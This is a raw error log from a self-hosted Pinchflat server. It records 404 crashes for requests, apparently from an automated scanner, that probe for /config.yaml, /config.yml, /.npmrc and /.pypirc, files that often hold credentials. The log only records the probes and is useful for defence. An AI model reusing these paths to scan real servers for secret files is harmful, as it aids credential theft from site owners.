terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddb4a640d70-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "pxbf1e369803c0fs.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.1.49", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3755.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddb4a640d70-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "pxbf1e369803c0fs.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "104.22.1.49"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHfXSJIWZZi4AAWkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddb4a640d70-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "pxbf1e369803c0fs.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.1.49", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddb4a640d70-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => (truncated) 02:50:36.994 [info] GET /config.yml 02:50:36.994 [debug] QUERY OK source="settings" db=0.2ms idle=519.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:36.994 [debug] QUERY OK source="settings" db=0.1ms idle=465.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:36.994 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:36.995 [error] #PID<0.3756.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 12) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddb7bd82de3-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "xpvn62bdd90fpgbr.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3756.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddb7bd82de3-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "xpvn62bdd90fpgbr.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "104.22.24.76"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHfg16DojgOEAAWlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddb7bd82de3-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "xpvn62bdd90fpgbr.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddb7bd82de3-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "xpvn62bdd90fpgbr.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3756.0>, p (truncated) 02:50:37.037 [info] GET /.npmrc 02:50:37.038 [debug] QUERY OK source="settings" db=0.3ms idle=508.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.038 [debug] QUERY OK source="settings" db=0.0ms idle=84.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.038 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:37.039 [info] GET /.pypirc 02:50:37.040 [debug] QUERY OK source="settings" db=0.2ms idle=85.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.040 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=45.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.040 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:37.039 [error] #PID<0.3757.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 13) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.npmrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fddbdcebf3b1-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "w-olfbe-njami-n4452.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3757.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddbdcebf3b1-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "w-olfbe-njami-n4452.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.npmrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHfrRHLerqLIAAWmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fddbdcebf3b1-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "w-olfbe-njami-n4452.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: Pin (truncated) 02:50:37.041 [error] #PID<0.3758.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 20) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.pypirc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbcca43e79-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "ajvk68a3a879hvwv.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.23.245.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3758.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddbcca43e79-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "ajvk68a3a879hvwv.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "104.23.245.108"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.pypirc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHfru3_iWLkYAAWnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbcca43e79-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "ajvk68a3a879hvwv.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.23.245.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: 